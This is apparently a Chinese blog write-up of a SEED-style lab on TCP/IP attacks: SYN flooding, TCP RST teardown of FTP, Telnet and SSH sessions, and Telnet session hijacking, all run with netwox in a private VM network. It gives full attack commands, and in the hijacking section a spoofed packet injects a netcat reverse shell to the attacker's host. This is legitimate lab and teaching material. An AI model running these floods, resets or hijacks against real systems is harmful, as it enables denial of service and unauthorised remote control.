網(wǎng)絡(luò)安全-TCP-IP攻擊

TCP-IP攻擊

概述

1. SYN-Flooding攻擊效果,受害者系統(tǒng)卡死.

2. TCP-RST攻擊實現(xiàn)已經(jīng)建立的TCP連接斷開.

3. TCP會話劫持,劫持TCP會話,并實現(xiàn)反向Shell.

實驗環(huán)境

1. 三臺Linux系統(tǒng)主機(jī),一臺作為攻擊者,一臺作為受害者,一臺作為觀察者.

2. 為了簡化TCP序列號和源端口號的“猜測”,實驗處于同一局域網(wǎng)內(nèi),你可以使用嗅探器來獲取受害者信息.

SYN-Flooding攻擊

1. SYN-Flooding攻擊原理

SYN-Flooding是DoS攻擊的一種,攻擊者向受害者的TCP端口發(fā)送很多SYN請求,但攻擊者無意完成三次握手過程.

攻擊者要么使用欺騙性的假的IP地址,要么不要繼續(xù)完成整個三次握手過程.

通過這種攻擊,攻擊者可以淹沒用于半連接的受害者隊列,即已完成SYN,SYN-ACK但尚未得到最終ACK的連接.

當(dāng)這個隊列已滿時,受害者不能再進(jìn)行任何連接.

正常三次握手過程:

client  ---  service
SYN     -->
        <--  SYN-ACK
ACK     ---> 

在Linux中,我們可以使用以下命令檢查

命令:#sysctl -q net.ipv4.tcp_max_syn_backlog 
root@gt:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512

我們可以使用命令“netstat -na”來檢查隊列的使用情況,即與監(jiān)聽端口相關(guān)聯(lián)的半連接的數(shù)量.

這種半連接的狀態(tài)是SYN-RECV。如果三次握手完成,則連接的狀態(tài)將為ESTABLISHED.

在這個任務(wù)中,你需要演示SYN-Flooding攻擊:

您可以使用Netwox來執(zhí)行攻擊,然后使用嗅探器捕獲攻擊性數(shù)據(jù)包.

在攻擊發(fā)生時,在受害機(jī)器上運行“netstat -na”命令,并將結(jié)果與攻擊前的結(jié)果進(jìn)行比較.

2. Netwox 76簡介

標(biāo)題:Synflood
用法:netwox 76 -i ip -p port [-s spoofip]
參數(shù):
-i | --dst-ip ip 目標(biāo)IP地址
-p | --dst-port port 目標(biāo)端口號
-s | --spoofip spoofip IP欺騙初始化類型

3. SYN Cookie防御機(jī)制

如果你的攻擊看起來不成功,你可以檢查是否啟用了SYN cookie機(jī)制.

SYN cookie是抵抗SYN-Flooding的防御機(jī)制.

防御原理簡介:

在TCP服務(wù)器收到TCP SYN包并返回TCP SYN+ACK包時,不分配一個專門的數(shù)據(jù)區(qū),

而是根據(jù)這個SYN包計算出一個cookie值.

在收到TCP ACK包時,TCP服務(wù)器在根據(jù)那個cookie值檢查這個TCP ACK包的合法性.

如果合法,再分配專門的數(shù)據(jù)區(qū)進(jìn)行處理未來的TCP連接.

你可以使用sysctl命令打開/關(guān)閉SYN cookie機(jī)制:

#sysctl -a | grep cookie(顯示SYN cookie標(biāo)志)
#sysctl -w net.ipv4.tcp_syncookies = 0(關(guān)閉SYN cookie)
#sysctl -w net.ipv4.tcp_syncookies = 1(打開SYN cookie)

4. 實驗結(jié)果分析

攻擊者:192.168.59.1
受害者:192.168.59.144
攻擊者終端對受害者進(jìn)行SYN-Flooding打擊:
# netwox 76 -i 192.168.59.144 -p 80
實驗現(xiàn)象:受害者系統(tǒng)出現(xiàn)卡死狀態(tài).  

比較netstat -na前后狀態(tài)如下:

產(chǎn)生大量的TCP半連接,阻塞了隊列,導(dǎo)致后續(xù)正常TCP連接無法建立!!

[04/17/2018 16:41] seed@ubuntu:~$ diff 1.txt 2.txt 
5a6,261
> tcp        0      0 192.168.59.144:80       253.138.146.184:9358    SYN_RECV   
> tcp        0      0 192.168.59.144:80       246.55.107.172:50273    SYN_RECV   
> tcp        0      0 192.168.59.144:80       196.23.102.181:5583     SYN_RECV   
> tcp        0      0 192.168.59.144:80       242.22.15.17:45979      SYN_RECV   
> tcp        0      0 192.168.59.144:80       246.166.91.206:61644    SYN_RECV   
> tcp        0      0 192.168.59.144:80       249.212.122.218:23424   SYN_RECV   
> tcp        0      0 192.168.59.144:80       251.32.218.10:56419     SYN_RECV   
> tcp        0      0 192.168.59.144:80       248.235.192.194:41439   SYN_RECV   
> tcp        0      0 192.168.59.144:80       241.118.133.147:19187   SYN_RECV   
> tcp        0      0 192.168.59.144:80       242.23.168.166:21253    SYN_RECV   
> tcp        0      0 192.168.59.144:80       247.207.89.108:45839    SYN_RECV  
> ...........................................................................

TCP-RST攻擊

1. FTP協(xié)議

# service vsftpd start

2. TELNET協(xié)議

# /etc/init.d/openbsd-inetd start

3. SSH協(xié)議

# /etc/init.d/ssh start

4. Newox 78簡介

標(biāo)題:重置每個TCP數(shù)據(jù)包
用法:netwox 78 [-d device] [-f filter] [-s spoofip]
參數(shù):
-d | --device device名稱{Eth0}
-f | --filter filter pcap過濾器
-s | --spoofip spoofip IP欺騙初始化類型{linkbraw}

5. 實驗結(jié)果分析

-** FTP**

FTP服務(wù)器地址:192.168.59.146/24

FTP客戶端地址:192.168.59.144/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP-RST打擊:

# netwox 78 -d vmnet8

結(jié)果顯示:已經(jīng)建立的TCP連接斷開.

[04/17/2018 23:28] seed@ubuntu:~$ ftp 192.168.59.146
Connected to 192.168.59.146.
220 (vsFTPd 3.0.3)
Name (192.168.59.146:seed): gu
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Desktop
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Documents
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Downloads
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Music
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Pictures
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Public
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Templates
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Videos
226 Directory send OK.
ftp>
ftp> ls
421 Service not available, remote server has closed connection
ftp>

  • Telnet

Telnet服務(wù)器地址:192.168.59.146/24

Telnet客戶端地址:192.168.59.144/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP-RST打擊:

# netwox 78 -d vmnet8

結(jié)果顯示:已經(jīng)建立的TCP連接斷開.

[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
telnet: Unable to connect to remote host: Connection refused
[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
Connected to 192.168.59.146.
Escape character is '^]'.
Ubuntu 16.04.4 LTS
ubuntu login: gu
Password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)

gu@ubuntu:~$
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$
gu@ubuntu:~$ Connection closed by foreign host.
[04/18/2018 00:28] seed@ubuntu:~$

  • SSH

SSH服務(wù)器地址:192.168.59.146/24

SSH客戶端地址:192.168.59.144/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP-RST打擊:

# netwox 78 -d vmnet8

結(jié)果顯示:已經(jīng)建立的TCP連接斷開.

[04/18/2018 00:40] seed@ubuntu:~$ ssh gu@192.168.59.146
gu@192.168.59.146's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)

Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$ 
gu@ubuntu:~$ 
gu@ubuntu:~$ Write failed: Broken pipe
[04/18/2018 00:41] seed@ubuntu:~$ 

TCP會話劫持

1. 會話劫持簡介

TCP會話劫持攻擊的目標(biāo)是通過向該會話中注入惡意內(nèi)容來劫持兩名受害者之間的現(xiàn)有TCP連接(會話).

如果這個連接是一個telnet會話,攻擊者可以在這個會話中注入惡意命令(例如刪除重要文件),導(dǎo)致受害者執(zhí)行惡意命令.

2. Wireshark簡介

如果您使用Wireshark觀察網(wǎng)絡(luò)流量,當(dāng)Wireshark顯示TCP序列號時,

默認(rèn)情況下會顯示相對序列號,它等于實際序列號減去初始序列號.

如果想查看包中的實際序列號,則需要右鍵單擊Wireshark輸出的TCP部分,

然后選擇"Protocol Preference". 在彈出窗口中,取消選"Relative Sequence Number"選項.

3. Netwox 40簡介

標(biāo)題: Spoof Ip4Tcp packet
用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
參數(shù):
 -c|--ip4-tos uint32            IP4 tos {0}
 -e|--ip4-id uint32             IP4 id (rand if unset) {0}
 -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
 -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
 -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
 -i|--ip4-offsetfrag uint32     IP4 offsetfrag {0}
 -j|--ip4-ttl uint32            IP4 ttl {0}
 -k|--ip4-protocol uint32       IP4 protocol {0}
 -l|--ip4-src ip                IP4 src {172.16.27.1}
 -m|--ip4-dst ip                IP4 dst {5.6.7.8}
 -n|--ip4-opt ip4opts           IPv4 options
 -o|--tcp-src port              TCP src {1234}
 -p|--tcp-dst port              TCP dst {80}
 -q|--tcp-seqnum uint32         TCP seqnum (rand if unset) {0}
 -r|--tcp-acknum uint32         TCP acknum {0}
 -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
 -w|--tcp-cwr|+w|--no-tcp-cwr   TCP cwr
 -x|--tcp-ece|+x|--no-tcp-ece   TCP ece
 -y|--tcp-urg|+y|--no-tcp-urg   TCP urg
 -z|--tcp-ack|+z|--no-tcp-ack   TCP ack
 -A|--tcp-psh|+A|--no-tcp-psh   TCP psh
 -B|--tcp-rst|+B|--no-tcp-rst   TCP rst
 -C|--tcp-syn|+C|--no-tcp-syn   TCP syn
 -D|--tcp-fin|+D|--no-tcp-fin   TCP fin
 -E|--tcp-window uint32         TCP window {0}
 -F|--tcp-urgptr uint32         TCP urgptr {0}
 -G|--tcp-opt tcpopts           TCP options
 -H|--tcp-data mixed_data       mixed data

4. 實驗結(jié)果分析

Telnet服務(wù)器地址:192.168.59.148/24

Telnet客戶端地址:192.168.59.146/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP會話劫持:

我們要偽造發(fā)下一個包:

所以直接采用nextseq作為下一個包的ack,采用ack作為下一個包的seq.

最后一個Telnet數(shù)據(jù)包內(nèi)容如下:

最后一個Telnet數(shù)據(jù)包

我們偽造向服務(wù)器192.168.59.148發(fā)送ls命令,

將`ls`轉(zhuǎn)換成16進(jìn)制并加上`\r`的16進(jìn)制數(shù)得到6c730d00, 

通過netwox構(gòu)造我們的攻擊指令如下:

netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"

在wireshark上顯示抓包數(shù)據(jù)如下:

wireshark上顯示抓包數(shù)據(jù)
我們成功的發(fā)送了ls !!!

成功的發(fā)送了ls
我們成功的獲取到了服務(wù)器發(fā)送的數(shù)據(jù) !!!

來創(chuàng)建我們的肉雞~

現(xiàn)在我們來通過NC反彈一個Shell,來控制我們受害者:

首先是構(gòu)造NC命令:

攻擊者:nc -lp 10010 -vvv
受害者:nc 192.168.59.1 10010 -c /bin/sh
創(chuàng)建NC攻擊語句:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"

實驗結(jié)果如圖:

首先看結(jié)果:我們成功拿到了服務(wù)器上的用戶gu的所有權(quán)限!

拿到了服務(wù)器上的用戶gu的所有權(quán)限

咱們再來看看抓包數(shù)據(jù),通過抓包數(shù)據(jù),你可以看到最后一條Telnet的TCP數(shù)據(jù),通過這些數(shù)據(jù),就可以很方便通過Netwox構(gòu)造攻擊語句了!!

通過Netwox構(gòu)造攻擊語句
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 1.這篇文章不是本人原創(chuàng)的,只是個人為了對這部分知識做一個整理和系統(tǒng)的輸出而編輯成的,在此鄭重地向本文所引用文章的...
    SOMCENT閱讀 13,340評論 6 174
  • 讀懂了TCP/IP協(xié)議,也就基本了解的網(wǎng)絡(luò)通信原理。本文是參照研究生教材《網(wǎng)絡(luò)安全原理與應(yīng)用》里面的內(nèi)容加上自己實...
    Super超人閱讀 22,659評論 1 19
  • 1. TCP/IP 協(xié)議的脆弱性 1.1 不能提供可靠的身份驗證 TCP/IP 協(xié)議以 32 bit 的 IP 地...
    FlyingReganMian閱讀 9,194評論 0 2
  • 個人認(rèn)為,Goodboy1881先生的TCP /IP 協(xié)議詳解學(xué)習(xí)博客系列博客是一部非常精彩的學(xué)習(xí)筆記,這雖然只是...
    貳零壹柒_fc10閱讀 5,180評論 0 8
  • 日常生活中難免會生病,掌握一些基礎(chǔ)的中醫(yī)知識,可以幫助自己以及家人。 舌診相對最容易自學(xué);每天日觀舌象,就能夠把疾...
    王虹亮閱讀 8,329評論 17 14

友情鏈接更多精彩內(nèi)容